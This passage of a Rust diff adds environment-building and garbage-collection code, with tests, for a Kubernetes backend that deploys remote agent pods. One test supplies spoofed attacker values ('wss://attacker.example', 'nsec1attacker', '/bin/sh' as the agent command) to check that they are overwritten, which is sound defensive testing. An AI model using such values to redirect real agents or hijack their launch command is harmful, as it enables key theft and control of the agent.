and get one deterministic behavior. +fn is_posix_env_key(key: &str) -> bool { + let mut chars = key.chars(); + match chars.next() { + Some(c) if c == '_' || c.is_ascii_alphabetic() => {} + _ => return false, + } + chars.all(|c| c == '_' || c.is_ascii_alphanumeric()) +} + +/// An identity component (L1 item 1) is present only if it is nonempty after +/// trimming — and the **trimmed form is what gets stored**. The validator and +/// the writer must never disagree about the value: a guard that accepts +/// `" wss://relay "` and then writes it with the padding intact has only +/// moved the failure from a loud refusal to a connect error in the harness. +fn identity_component(value: &str) -> Option<&str> { + let trimmed = value.trim(); + (!trimmed.is_empty()).then_some(trimmed) +} + +/// The harness's `allowlist` gate mode, spelled as the desktop serializes +/// `RespondTo` (kebab-case) and as `buzz-acp`'s CLI parses it. +const RESPOND_TO_ALLOWLIST: &str = "allowlist"; + +/// Every gate mode `buzz-acp` accepts, spelled as its `clap::ValueEnum` parses +/// them (`config.rs:95-101`, kebab-case via `RespondTo`'s `Display`). +/// +/// Deliberately the **harness's** four and not the desktop's three: the desktop +/// rejects `nobody` on purpose (`managed_agents/types.rs:871-880`), but the +/// harness starts fine with it. This guard exists to cover non-desktop callers, +/// so inheriting a desktop-only narrowing would refuse a launch that works. +const RESPOND_TO_MODES: [&str; 4] = ["owner-only", RESPOND_TO_ALLOWLIST, "anyone", "nobody"]; + +/// Refuse a respond-to gate the harness will reject at config parse. +/// +/// The local spawn path re-validates this before spawning — "doing it here +/// means we never spawn a doomed process" (`runtime.rs:378`) — but the deploy +/// path projects the record's fields straight through. Without this, a gate +/// the harness refuses becomes a pod that exits 1 at startup; `restartPolicy: +/// Never` turns that into `Terminated` → `Delete` → recreate, and each cycle +/// leaves a Secret the in-call path never reaps (only a later deploy's orphan +/// sweep does, at `ORPHAN_SECRET_MIN_AGE_SECS`). The user-visible ending is +/// "startup not confirmed", indistinguishable from a slow cluster. +/// +/// Mirrors `buzz-acp`'s own rules exactly (`config.rs:95-101,996-1004,629-641`), +/// deliberately including their asymmetry: the allowlist is validated **only** +/// in allowlist mode, and merely warned about otherwise. Validating it in +/// every mode would refuse a deploy whose identical local spawn succeeds — +/// and a stale list is already harmless here, since +/// `BUZZ_ACP_RESPOND_TO_ALLOWLIST` is an authoritative key that tier 3 clears. +fn validate_respond_to_gate(respond_to: &str, allowlist: Option<&[String]>) -> Result<(), String> { + // Exact, untrimmed: `clap` does not trim, so `" allowlist "` is `rc=2` at + // the harness — a parse failure even earlier than the config errors below. + if !RESPOND_TO_MODES.contains(&respond_to) { + return Err(format!( + "deploy refused: respond_to {respond_to:?} is not a mode the \ + harness accepts (expected one of {}) — the pod would fail to \ + parse its arguments, be replaced, and leave a Secret behind on \ + every attempt", + RESPOND_TO_MODES.join(", ") + )); + } + if respond_to != RESPOND_TO_ALLOWLIST { + return Ok(()); + } + let entries = allowlist.unwrap_or_default(); + if entries.is_empty() { + return Err(format!( + "deploy refused: respond_to is {RESPOND_TO_ALLOWLIST:?} but the \ + allowlist is empty — the harness refuses this at startup, so the \ + pod would fail, be replaced, and leave a Secret behind on every \ + attempt" + )); + } + for entry in entries { + let trimmed = entry.trim(); + if trimmed.len() != 64 || !trimmed.chars().all(|c| c.is_ascii_hexdigit()) { + return Err(format!( + "deploy refused: invalid pubkey in respond_to_allowlist: \ + {entry:?} (must be exactly 64 hex characters)" + )); + } + } + Ok(()) +} + +/// Inputs the provider itself supplies to the authoritative tier. +pub struct AuthoritativeInputs<'a> { + /// The attempt's generation token — also the Secret's name suffix, so the + /// lifecycle correlator and the Secret generation are one identity. + pub generation: &'a str, + /// Resolved from `provider_config.inactivity_seconds`; `None` when the + /// indefinite opt-in was chosen (which this version refuses elsewhere). + pub inactivity_seconds: Option, +} + +/// Resolve the full pod environment. +/// +/// Order is the spec's, and the function body is deliberately three writes in +/// that order — tier 1, tier 2, tier 3 — so "later wins" is visible rather +/// than argued. +pub fn build_env( + agent: &AgentPayload, + auth: AuthoritativeInputs<'_>, +) -> Result, String> { + let default_launch = LaunchBlock::default(); + let launch = agent.launch.as_ref().unwrap_or(&default_launch); + + let mut env: BTreeMap = BTreeMap::new(); + + // Tier 1 — overridable behavior defaults. + env.extend(launch.policy_env.clone()); + + // Tier 2 — user/layered env. The descriptor already merged + // global < persona < agent, so `agent.env_vars` is NOT re-merged on top + // (§Launch data tier 2) — doing so would resurrect a layer the desktop + // already resolved. When the desktop predates the `launch` block we fall + // back to the legacy field, which is the only case it is the truth. + if agent.launch.is_some() { + env.extend(launch.env.clone()); + } else { + env.extend(agent.env_vars.clone()); + } + + // Validate what the lower tiers contributed, before the authoritative + // tier overwrites any of it. A reserved-key collision is NOT fatal: the + // spec's precedence is later-wins, so tier 3 simply overwrites it, which + // is exactly what a local spawn does. Only a key that has no + // authoritative counterpart to overwrite it — presence suppression — is + // a refusal. + for key in env.keys() { + if !is_posix_env_key(key) { + return Err(format!( + "env key {key:?} is not a POSIX environment variable name \ + ([A-Za-z_][A-Za-z0-9_]*); Kubernetes would treat it \ + inconsistently across cluster versions" + )); + } + if key.eq_ignore_ascii_case(FORBIDDEN_KEY) { + return Err(format!( + "{FORBIDDEN_KEY} must not be set on a remote agent: presence \ + is the only signal that a remote agent is alive" + )); + } + } + + // Tier 3 — authoritative. Every key it owns is cleared first, then the + // values it has are written, so it wins at a key whether or not it has a + // value there (see [`AUTHORITATIVE_KEYS`]). + for key in AUTHORITATIVE_KEYS { + env.remove(*key); + } + // Identity comes from top-level payload fields, never from `env_vars` + // (§Reserved-key rule). All three components must be nonempty: an agent + // that cannot reach a relay is the identityless launch L1 item 1 exists to + // prevent, and a blank field would otherwise sail through into the Secret + // and produce a pod that starts, fails to connect, and looks like a + // network problem. + let Some(relay_url) = identity_component(&agent.relay_url) else { + return Err("deploy refused: relay_url is empty — the agent would have \ + no relay to connect to" + .to_string()); + }; + env.insert("BUZZ_RELAY_URL".into(), relay_url.to_string()); + env.insert("BUZZ_PRIVATE_KEY".into(), agent.private_key_nsec.clone()); + // The git credential/signing helpers read NOSTR_PRIVATE_KEY. + env.insert("NOSTR_PRIVATE_KEY".into(), agent.private_key_nsec.clone()); + + // Owner: at least one of these must resolve, or the harness cannot match + // `!shutdown` and §Stop describes a mechanism that does not work. + let auth_tag = agent.auth_tag.as_deref().and_then(identity_component); + let owner = launch.owner_pubkey.as_deref().and_then(identity_component); + match (auth_tag, owner) { + (None, None) => { + return Err("deploy refused: neither auth_tag nor launch.owner_pubkey \ + resolved — without an owner the agent cannot honor \ + !shutdown" + .to_string()) + } + (tag, own) => { + if let Some(t) = tag { + env.insert("BUZZ_AUTH_TAG".into(), t.to_string()); + } + if let Some(o) = own { + env.insert("BUZZ_ACP_AGENT_OWNER".into(), o.to_string()); + } + } + } + + // The harness and MCP binaries are resolved against the *image's* PATH. + // A host path forwarded from the desktop is guaranteed absent in the + // container (§Launch data, host-resolved values). + if let Some(command) = launch.command.as_deref().filter(|c| !c.is_empty()) { + env.insert("BUZZ_ACP_AGENT_COMMAND".into(), command.to_string()); + } + if !launch.args.is_empty() { + // Comma-joined because that is what the harness's CLI parser decodes, + // and what the desktop's local spawn does. An argument containing a + // comma is unrepresentable in both paths; inventing an escaping + // scheme here would produce args the harness cannot decode. + env.insert("BUZZ_ACP_AGENT_ARGS".into(), launch.args.join(",")); + } + env.insert("BUZZ_ACP_MCP_COMMAND".into(), "buzz-dev-mcp".into()); + + if let Some(respond_to) = agent.respond_to.as_deref().filter(|s| !s.is_empty()) { + validate_respond_to_gate(respond_to, agent.respond_to_allowlist.as_deref())?; + env.insert("BUZZ_ACP_RESPOND_TO".into(), respond_to.to_string()); + } + if let Some(list) = agent + .respond_to_allowlist + .as_ref() + .filter(|l| !l.is_empty()) + { + env.insert("BUZZ_ACP_RESPOND_TO_ALLOWLIST".into(), list.join(",")); + } + + if let Some(secs) = auth.inactivity_seconds { + env.insert("BUZZ_ACP_EXIT_AFTER_INACTIVITY".into(), secs.to_string()); + } + // The generation token doubles as the lifecycle-frame correlator, so pod + // logs and observer frames share one identity (§K8s Secrets). + env.insert(START_NONCE_KEY.into(), auth.generation.to_string()); + + let total: usize = env.values().map(String::len).sum(); + if total > MAX_SECRET_BYTES { + return Err(format!( + "agent environment is {total} bytes; Kubernetes caps Secret data \ + at {MAX_SECRET_BYTES}" + )); + } + + Ok(env) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn payload_json(extra_agent: serde_json::Value) -> AgentPayload { + let mut agent = serde_json::json!({ + "name": "a", + "relay_url": "wss://relay.example", + "private_key_nsec": "nsec1example", + "auth_tag": "tag-1", + }); + let (serde_json::Value::Object(base), serde_json::Value::Object(extra)) = + (&mut agent, extra_agent) + else { + panic!("expected objects") + }; + base.extend(extra); + serde_json::from_value(agent).unwrap() + } + + fn build(agent: &AgentPayload) -> Result, String> { + build_env( + agent, + AuthoritativeInputs { + generation: "gen0001", + inactivity_seconds: Some(7200), + }, + ) + } + + #[test] + fn identity_comes_from_top_level_fields() { + let env = build(&payload_json(serde_json::json!({}))).unwrap(); + assert_eq!(env["BUZZ_RELAY_URL"], "wss://relay.example"); + assert_eq!(env["BUZZ_PRIVATE_KEY"], "nsec1example"); + assert_eq!(env["NOSTR_PRIVATE_KEY"], "nsec1example"); + assert_eq!(env["BUZZ_AUTH_TAG"], "tag-1"); + } + + /// Wren's amendment, and the spec's later-wins rule: a lower tier that + /// spoofs an authoritative key is *overwritten*, not refused. Refusing + /// would diverge from the local spawn, where the same env is written + /// before the authoritative layer and simply loses. + #[test] + fn lower_tiers_cannot_spoof_authoritative_values() { + let agent = payload_json(serde_json::json!({ + "launch": { + "command": "goose", + "policy_env": { + "BUZZ_PRIVATE_KEY": "nsec1attacker", + "BUZZ_MANAGED_AGENT_START_NONCE": "forged", + }, + "env": { + "BUZZ_RELAY_URL": "wss://attacker.example", + "NOSTR_PRIVATE_KEY": "nsec1attacker", + "BUZZ_AUTH_TAG": "forged-tag", + "BUZZ_ACP_AGENT_OWNER": "cafe", + "BUZZ_ACP_AGENT_COMMAND": "/bin/sh", + "BUZZ_ACP_MCP_COMMAND": "/bin/sh", + "BUZZ_ACP_EXIT_AFTER_INACTIVITY": "0", + }, + "owner_pubkey": "beef" + } + })); + let env = build(&agent).unwrap(); + assert_eq!(env["BUZZ_PRIVATE_KEY"], "nsec1example"); + assert_eq!(env["NOSTR_PRIVATE_KEY"], "nsec1example"); + assert_eq!(env["BUZZ_RELAY_URL"], "wss://relay.example"); + assert_eq!(env["BUZZ_AUTH_TAG"], "tag-1"); + assert_eq!(env["BUZZ_ACP_AGENT_OWNER"], "beef"); + assert_eq!(env["BUZZ_ACP_AGENT_COMMAND"], "goose"); + assert_eq!(env["BUZZ_ACP_MCP_COMMAND"], "buzz-dev-mcp"); + assert_eq!(env["BUZZ_ACP_EXIT_AFTER_INACTIVITY"], "7200"); + assert_eq!(env["BUZZ_MANAGED_AGENT_START_NONCE"], "gen0001"); + } + + /// Tier 1 is *overridable* — user env beats policy defaults, matching the + /// local spawn, where the user layer is written after them. Getting this + /// backwards would make remote agents ignore overrides local agents honor. + #[test] + fn user_env_overrides_policy_defaults() { + let agent = payload_json(serde_json::json!({ + "launch": { + "policy_env": {"GOOSE_MODE": "auto", "BUZZ_ACP_MODEL": "sonnet"}, + "env": {"GOOSE_MODE": "chat"}, + "owner_pubkey": "beef" + } + })); + let env = build(&agent).unwrap(); + assert_eq!(env["GOOSE_MODE"], "chat"); + assert_eq!(env["BUZZ_ACP_MODEL"], "sonnet"); + } + + /// `launch.env` already contains the merged user env, so re-merging the + /// legacy field would undo a layering the desktop already resolved. + #[test] + fn legacy_env_vars_are_not_remerged_when_launch_present() { + let agent = payload_json(serde_json::json!({ + "env_vars": {"STALE": "yes", "SHARED": "legacy"}, + "launch": {"env": {"SHARED": "resolved"}, "owner_pubkey": "beef"} + })); + let env = build(&agent).unwrap(); + assert_eq!(env["SHARED"], "resolved"); + assert!(!env.contains_key("STALE"), "legacy env_vars re-merged"); + } + + /// ...but a desktop predating the `launch` block has nothing else to + /// offer, so the legacy field is the truth in exactly that case. + #[test] + fn legacy_env_vars_used_when_launch_absent() { + let agent = payload_json(serde_json::json!({"env_vars": {"API": "v"}})); + let env = build(&agent).unwrap(); + assert_eq!(env["API"], "v"); + } + + #[test] + fn refuses_when_no_owner_resolves() { + let agent = payload_json(serde_json::json!({"auth_tag": null})); + let err = build(&agent).unwrap_err(); + assert!(err.contains("!shutdown"), "unhelpful error: {err}"); + } + + /// An empty string is not an owner. Without this the refusal is + /// bypassable by a blank field and the pod launches unable to be stopped. + #[test] + fn empty_owner_fields_count_as_absent() { + for blank in ["", " "] { + let agent = payload_json(serde_json::json!({ + "auth_tag": blank, + "launch": {"owner_pubkey": blank} + })); + assert!( + build(&agent).is_err(), + "whitespace resolved as an owner: {blank:?}" + ); + } + } + + /// The other half of every identity guard: what is *stored*. A validator + /// that trims and a writer that doesn't disagree about the value, and the + /// padding reaches the harness inside the Secret. Assert on the stored + /// string — asserting only that the deploy was accepted passes either way. + #[test] + fn identity_components_are_stored_trimmed() { + let agent = payload_json(serde_json::json!({ + "relay_url": " wss://relay.example ", + "auth_tag": " tag-1 ", + "launch": {"owner_pubkey": " beefcafe "} + })); + let env = build(&agent).unwrap(); + assert_eq!(env["BUZZ_RELAY_URL"], "wss://relay.example"); + assert_eq!(env["BUZZ_AUTH_TAG"], "tag-1"); + assert_eq!(env["BUZZ_ACP_AGENT_OWNER"], "beefcafe"); + } + + /// L1 item 1's third identity component. The nsec arm is enforced in + /// `naming.rs` and the owner arm above; without this one an agent + /// deploys with nothing to connect to — a pod that starts, fails at the + /// relay, and reads as a network fault rather than a refused launch. + #[test] + fn refuses_empty_relay_url() { + for blank in ["", " "] { + let agent = payload_json(serde_json::json!({"relay_url": blank})); + let err = build(&agent).unwrap_err(); + assert!(err.contains("relay_url"), "unhelpful error: {err}"); + } + } + + #[test] + fn owner_pubkey_alone_is_sufficient() { + let agent = payload_json(serde_json::json!({ + "auth_tag": null, + "launch": {"owner_pubkey": "beefcafe"} + })); + let env = build(&agent).unwrap(); + assert_eq!(env["BUZZ_ACP_AGENT_OWNER"], "beefcafe"); + assert!(!env.contains_key("BUZZ_AUTH_TAG")); + } + + #[test] + fn refuses_presence_suppression() { + let agent = payload_json(serde_json::json!({ + "launch": {"env": {"BUZZ_ACP_NO_PRESENCE": "1"}, "owner_pubkey": "beef"} + })); + let err = build(&agent).unwrap_err(); + assert!(err.contains("BUZZ_ACP_NO_PRESENCE"), "got: {err}"); + } + + /// `foo.bar` is a legal Secret key but not a legal env name: pre-1.30 + /// kubelets drop it, 1.30+ inject it. Refuse rather than behave + /// differently depending on the cluster. + #[test] + fn refuses_non_posix_env_keys() { + for bad in ["foo.bar", "foo-bar", "1LEADING", "", "has space"] { + let agent = payload_json(serde_json::json!({ + "launch": {"env": {bad: "v"}, "owner_pubkey": "beef"} + })); + assert!(build(&agent).is_err(), "accepted non-POSIX key {bad:?}"); + } + } + + #[test] + fn args_are_comma_joined_and_omitted_when_empty() { + let agent = payload_json(serde_json::json!({ + "launch": {"command": "goose", "args": ["run", "--no-session"], "owner_pubkey": "b"} + })); + let env = build(&agent).unwrap(); + assert_eq!(env["BUZZ_ACP_AGENT_ARGS"], "run,--no-session"); + + let agent = payload_json(serde_json::json!({ + "launch": {"command": "goose", "args": [], "owner_pubkey": "b"} + })); + assert!(!build(&agent).unwrap().contains_key("BUZZ_ACP_AGENT_ARGS")); + } + + /// The top-level `model`/`provider` fields are display inputs; their + /// environment consequence is per-runtime and arrives already resolved + /// inside `launch`. A provider-side mapping is wrong for three of the + /// four built-in runtimes. + #[test] + fn provider_never_maps_model_or_provider_itself() { + let agent = payload_json(serde_json::json!({ + "model": "claude-opus", "provider": "anthropic", + "launch": {"owner_pubkey": "beef"} + })); + let env = build(&agent).unwrap(); + for key in [ + "BUZZ_AGENT_PROVIDER", + "BUZZ_AGENT_MODEL", + "GOOSE_PROVIDER", + "GOOSE_MODEL", + ] { + assert!(!env.contains_key(key), "provider mapped {key} itself"); + } + } + + /// `turn_timeout_seconds` is deprecated and ignored upstream; the local + /// spawn does not emit it either. + #[test] + fn turn_timeout_is_not_mapped() { + let agent = payload_json(serde_json::json!({ + "turn_timeout_seconds": 30, "launch": {"owner_pubkey": "b"} + })); + let env = build(&agent).unwrap(); + assert!(!env.keys().any(|k| k.contains("TURN_TIMEOUT"))); + } + + #[test] + fn inactivity_omitted_when_unset() { + let agent = payload_json(serde_json::json!({"launch": {"owner_pubkey": "b"}})); + let env = build_env( + &agent, + AuthoritativeInputs { + generation: "g", + inactivity_seconds: None, + }, + ) + .unwrap(); + assert!(!env.contains_key("BUZZ_ACP_EXIT_AFTER_INACTIVITY")); + } + + /// Structural guard over the whole authoritative list at once: whatever + /// the lower tiers contain, no authoritative key holds a lower-tier value + /// — including the conditionally-written ones the authoritative tier has + /// nothing to say about, which must be **absent** rather than spoofed. + /// This test caught exactly that: `BUZZ_ACP_AGENT_ARGS` is only written + /// when `launch.args` is non-empty, so plain later-wins overwrite left the + /// spoofed value in place. + #[test] + fn no_authoritative_key_retains_a_lower_tier_value() { + let spoofed: serde_json::Map = AUTHORITATIVE_KEYS + .iter() + .map(|k| ((*k).to_string(), serde_json::json!("SPOOFED"))) + .collect(); + // Split across both lower tiers: policy_env and env are separate + // insertion points, and a fix that only cleared one would pass a + // single-tier test. + let agent = payload_json(serde_json::json!({ + "launch": { + "command": "goose", + "policy_env": spoofed.clone(), + "env": spoofed, + "owner_pubkey": "beef" + } + })); + let env = build(&agent).unwrap(); + for key in AUTHORITATIVE_KEYS { + assert_ne!( + env.get(*key).map(String::as_str), + Some("SPOOFED"), + "{key} kept its lower-tier value" + ); + } + // The keys the authoritative tier had no value for are gone, not + // merely different. + for absent in [ + "BUZZ_ACP_AGENT_ARGS", + "BUZZ_ACP_RESPOND_TO", + "BUZZ_ACP_RESPOND_TO_ALLOWLIST", + ] { + assert!(!env.contains_key(absent), "{absent} survived the clear"); + } + } + + /// A 64-hex pubkey, the only allowlist entry shape the harness accepts. + fn pubkey(fill: char) -> String { + std::iter::repeat_n(fill, 64).collect() + } + + /// The gate the harness refuses first (`config.rs:996-1004`). Refusing it + /// here is the difference between one error message and an unbounded + /// fail-replace loop that leaves a Secret per attempt. + #[test] + fn allowlist_mode_with_an_empty_list_is_refused() { + for empty in [serde_json::json!([]), serde_json::Value::Null] { + let agent = payload_json(serde_json::json!({ + "respond_to": "allowlist", + "respond_to_allowlist": empty, + })); + let err = build(&agent).unwrap_err(); + assert!( + err.contains("the allowlist is empty"), + "unexpected error: {err}" + ); + } + } + + /// `config.rs:629-641` — each entry must be exactly 64 hex characters. + /// The rejects are the distinct ways to miss that: too short, right length + /// but not hex, empty, and one character short of valid. + #[test] + fn an_allowlist_entry_that_is_not_64_hex_is_refused() { + for bad in ["abc1234", &"z".repeat(64), "", &pubkey('a')[..63]] { + let agent = payload_json(serde_json::json!({ + "respond_to": "allowlist", + "respond_to_allowlist": [pubkey('a'), bad], + })); + let err = build(&agent).unwrap_err(); + assert!( + err.contains("must be exactly 64 hex characters"), + "{bad:?} was accepted; error was: {err}" + ); + } + } + + /// The positive control: the guard refuses bad gates, not every gate. + /// Without this, a validator that refused unconditionally would pass both + /// tests above. + #[test] + fn a_valid_allowlist_gate_is_accepted_and_comma_joined() { + let agent = payload_json(serde_json::json!({ + "respond_to": "allowlist", + "respond_to_allowlist": [pubkey('a'), pubkey('b')], + })); + let env = build(&agent).unwrap(); + assert_eq!(env["BUZZ_ACP_RESPOND_TO"], "allowlist"); + assert_eq!( + env["BUZZ_ACP_RESPOND_TO_ALLOWLIST"], + format!("{},{}", pubkey('a'), pubkey('b')) + ); + } + + /// The harness validates the allowlist **only** in allowlist mode and + /// merely warns otherwise (`config.rs:1005-1010`). A stricter provider + /// would refuse a deploy whose identical local spawn succeeds, so this + /// pins the asymmetry rather than leaving it to look like an oversight. + #[test] + fn a_junk_allowlist_is_tolerated_outside_allowlist_mode() { + for mode in ["owner-only", "anyone"] { + let agent = payload_json(serde_json::json!({ + "respond_to": mode, + "respond_to_allowlist": ["not-a-pubkey"], + })); + let env = build(&agent) + .unwrap_or_else(|e| panic!("{mode} with a stale list must deploy: {e}")); + assert_eq!(env["BUZZ_ACP_RESPOND_TO"], mode); + } + } + + /// `respond_to` is an opaque `String` on the wire but a `clap::ValueEnum` + /// at the harness, so an unrecognized mode dies at `rc=2` — before config + /// parsing runs at all, earlier than either refusal above. Measured + /// against the built binary: `invalid value 'npub1abc' for '--respond-to'`. + /// This is the shape our own fixture carried until it was corrected. + #[test] + fn a_mode_the_harness_cannot_parse_is_refused() { + for bad in ["npub1abc", "OWNER-ONLY", "owner_only", "allowlistt", "x"] { + let agent = payload_json(serde_json::json!({ "respond_to": bad })); + let err = build(&agent).unwrap_err(); + assert!( + err.contains("is not a mode the harness accepts"), + "{bad:?} was accepted; error was: {err}" + ); + } + } + + /// `clap` does not trim its value-enum input, so a padded mode is `rc=2` + /// even though the same string trimmed is valid. Measured: `invalid value + /// ' allowlist ' for '--respond-to'`. Trimming here would accept a deploy + /// the harness refuses — the exact direction this guard exists to prevent. + #[test] + fn a_padded_mode_is_refused_because_clap_does_not_trim() { + for padded in [" allowlist ", "allowlist ", " owner-only", "\tnobody"] { + let agent = payload_json(serde_json::json!({ + "respond_to": padded, + "respond_to_allowlist": [pubkey('a')], + })); + let err = build(&agent).unwrap_err(); + assert!( + err.contains("is not a mode the harness accepts"), + "{padded:?} was accepted; error was: {err}" + ); + } + } + + /// Positive control for the mode check, and the reason it validates the + /// harness's four rather than the desktop's three: `nobody` is rejected by + /// `parse_wire` on purpose (`managed_agents/types.rs:871-880`) but starts + /// fine at the harness. A guard mirroring the desktop enum would refuse a + /// working launch from a non-desktop caller — the callers this guard is + /// for. Without this test, refusing `nobody` would pass everything above. + #[test] + fn every_mode_the_harness_accepts_is_deployable() { + for mode in ["owner-only", "allowlist", "anyone", "nobody"] { + let agent = payload_json(serde_json::json!({ + "respond_to": mode, + "respond_to_allowlist": [pubkey('a')], + })); + let env = build(&agent) + .unwrap_or_else(|e| panic!("{mode} is valid at the harness but was refused: {e}")); + assert_eq!(env["BUZZ_ACP_RESPOND_TO"], mode); + } + } +} diff --git a/crates/buzz-backend-kubernetes/src/gc.rs b/crates/buzz-backend-kubernetes/src/gc.rs new file mode 100644 index 0000000000..2e18825aa4 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/gc.rs @@ -0,0 +1,368 @@ +//! Preflight garbage collection (spec §K8s GC, `docs/remote-agents.md:1282-1335`). +//! +//! GC runs on every deploy, after identity derivation and before the state +//! transition. It deletes terminated pods (and their referenced Secrets) and +//! age-eligible orphan Secrets — every one of which must pass the full-pubkey +//! annotation check *and* carry the management marker. An unmarked object is +//! never GC'd regardless of its labels. +//! +//! The decision layer here is pure. The effectful caller supplies the observed +//! objects and the apiserver's clock; this module decides what may be deleted. + +use crate::naming::AgentIdentity; +use crate::observe::{referenced_secret, secret_is_ours}; +use chrono::{DateTime, Utc}; +use k8s_openapi::api::core::v1::{Pod, Secret}; + +/// The deploy operation deadline (spec §Deploy: `timeout: 600s`). +pub const OPERATION_DEADLINE_SECS: i64 = 600; + +/// An unreferenced Secret is GC-eligible only once it is older than **twice** +/// the deploy deadline. Rationale: Secret-create → pod-create is not atomic +/// against an independent GC pass, so without the gate a concurrent attempt's +/// preflight GC can delete a Secret whose pod has not been created yet and +/// strand that deploy. The age bound makes "unreferenced" mean "provably +/// abandoned" — any attempt that could still reference it has exceeded its own +/// deadline (`:1301-1319`). +pub const ORPHAN_SECRET_MIN_AGE_SECS: i64 = 2 * OPERATION_DEADLINE_SECS; + +/// What a GC pass decided to delete. Names only: the caller re-reads each +/// object's own fence at delete time. +#[derive(Debug, Default, PartialEq, Eq)] +pub struct GcPlan { + /// Terminated, verified, marker-bearing pods. + pub pods: Vec, + /// Age-eligible, verified, marker-bearing orphan Secrets. + pub secrets: Vec, +} + +/// Plan a GC pass. +/// +/// `now` is the apiserver's clock — the HTTP `Date` header from the very list +/// call that produced `secrets`. `None` means the header was absent or +/// unparseable, in which case **orphan-Secret GC is skipped entirely** rather +/// than falling back to local time: this provider runs on a user's desktop, +/// and a local clock fast by more than the margin does not race — it +/// deterministically computes every in-flight Secret as expired, on every +/// pass, reopening exactly the interleaving the gate exists to close +/// (`:1321-1335`). A deferred cleanup is free; a wrong deletion is not. +/// +/// Terminated-pod GC does not use the clock and is unaffected. +pub fn plan( + identity: &AgentIdentity, + pods: &[Pod], + secrets: &[Secret], + terminated: impl Fn(&Pod) -> bool, + now: Option>, +) -> GcPlan { + // Only pods that pass the full fence participate — in either direction. + // An unverified pod is neither deleted nor allowed to protect a Secret: + // it cannot be ours, so its `envFrom` cannot reference our generation. + let ours: Vec<&Pod> = pods + .iter() + .filter(|p| { + crate::observe::verify(p, identity, crate::classify::Startup::Started).is_some() + }) + .collect(); + + let doomed_pods: Vec<&&Pod> = ours.iter().filter(|p| terminated(p)).collect(); + + // A Secret referenced by ANY existing pod is protected — deliberately + // including not-yet-started pods, whose `envFrom` is exactly as + // load-bearing as a running pod's (`:1262-1264`). Pods being GC'd in this + // same pass are excluded, so their Secrets go with them. + let doomed_names: Vec<&str> = doomed_pods + .iter() + .filter_map(|p| p.metadata.name.as_deref()) + .collect(); + let protected: Vec = ours + .iter() + .filter(|p| !doomed_names.contains(&p.metadata.name.as_deref().unwrap_or_default())) + .filter_map(|p| referenced_secret(p)) + .collect(); + + let mut plan = GcPlan { + pods: doomed_names.iter().map(|n| n.to_string()).collect(), + secrets: doomed_pods + .iter() + .filter_map(|p| referenced_secret(p)) + .collect(), + }; + + // Orphan sweep: only with a server clock. + if let Some(now) = now { + for secret in secrets { + if !secret_is_ours(secret, identity) { + continue; + } + let Some(name) = secret.metadata.name.as_deref() else { + continue; + }; + if protected.contains(&name.to_string()) || plan.secrets.iter().any(|s| s == name) { + continue; + } + let Some(created) = secret.metadata.creation_timestamp.as_ref() else { + // No server-assigned timestamp means no age proof. Skip. + continue; + }; + if (now - created.0).num_seconds() >= ORPHAN_SECRET_MIN_AGE_SECS { + plan.secrets.push(name.to_string()); + } + } + } + + plan +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::naming::{ANNOTATION_PUBKEY_FULL, LABEL_MANAGED_BY}; + use k8s_openapi::api::core::v1::{Container, EnvFromSource, PodSpec, SecretEnvSource}; + use k8s_openapi::apimachinery::pkg::apis::meta::v1::{ObjectMeta, Time}; + use std::collections::BTreeMap; + + fn identity() -> AgentIdentity { + use nostr::nips::nip19::ToBech32; + let keys = nostr::Keys::generate(); + AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap() + } + + fn pod_named(id: &AgentIdentity, name: &str, secret: Option<&str>) -> Pod { + Pod { + metadata: ObjectMeta { + name: Some(name.into()), + uid: Some(format!("uid-{name}")), + resource_version: Some("1".into()), + labels: Some(id.labels()), + annotations: Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + id.pubkey_hex().to_string(), + )] + .into_iter() + .collect::>(), + ), + ..Default::default() + }, + spec: secret.map(|s| PodSpec { + containers: vec![Container { + name: "agent".into(), + env_from: Some(vec![EnvFromSource { + secret_ref: Some(SecretEnvSource { + name: s.into(), + optional: Some(false), + }), + ..Default::default() + }]), + ..Default::default() + }], + ..Default::default() + }), + ..Default::default() + } + } + + fn secret_named(id: &AgentIdentity, name: &str, age_secs: i64, now: DateTime) -> Secret { + Secret { + metadata: ObjectMeta { + name: Some(name.into()), + labels: Some(id.labels()), + annotations: Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + id.pubkey_hex().to_string(), + )] + .into_iter() + .collect::>(), + ), + creation_timestamp: Some(Time(now - chrono::Duration::seconds(age_secs))), + ..Default::default() + }, + ..Default::default() + } + } + + fn never(_: &Pod) -> bool { + false + } + fn always(_: &Pod) -> bool { + true + } + + #[test] + fn terminated_pods_and_their_secrets_are_collected_together() { + let id = identity(); + let now = Utc::now(); + let pod = pod_named(&id, "buzz-agent-dead", Some("buzz-agent-dead-gen1")); + let plan = plan(&id, &[pod], &[], always, Some(now)); + assert_eq!(plan.pods, ["buzz-agent-dead"]); + assert_eq!(plan.secrets, ["buzz-agent-dead-gen1"]); + } + + #[test] + fn live_pods_are_never_collected() { + let id = identity(); + let pod = pod_named(&id, "buzz-agent-live", Some("buzz-agent-live-gen1")); + let plan = plan(&id, &[pod], &[], never, Some(Utc::now())); + assert_eq!(plan, GcPlan::default()); + } + + /// The auto-repair fence applies to GC identically: an object that lacks + /// the marker, or carries a different pubkey, is never touched — however + /// well its labels match. + #[test] + fn unmarked_and_mismatched_objects_are_never_collected() { + let id = identity(); + let other = identity(); + let now = Utc::now(); + + let mut unmarked = pod_named(&id, "look-alike", Some("look-alike-gen1")); + let mut labels = id.labels(); + labels.remove(LABEL_MANAGED_BY); + unmarked.metadata.labels = Some(labels); + + let mut foreign = pod_named(&id, "someone-elses", Some("someone-elses-gen1")); + foreign.metadata.annotations = Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + other.pubkey_hex().to_string(), + )] + .into_iter() + .collect(), + ); + + let mut unmarked_secret = secret_named(&id, "orphan-unmarked", 100_000, now); + unmarked_secret.metadata.labels = Some(BTreeMap::new()); + let mut foreign_secret = secret_named(&id, "orphan-foreign", 100_000, now); + foreign_secret.metadata.annotations = Some( + [( + ANNOTATION_PUBKEY_FULL.to_string(), + other.pubkey_hex().to_string(), + )] + .into_iter() + .collect(), + ); + + let plan = plan( + &id, + &[unmarked, foreign], + &[unmarked_secret, foreign_secret], + always, + Some(now), + ); + assert_eq!( + plan, + GcPlan::default(), + "GC touched an object it does not own" + ); + } + + /// The interleaving 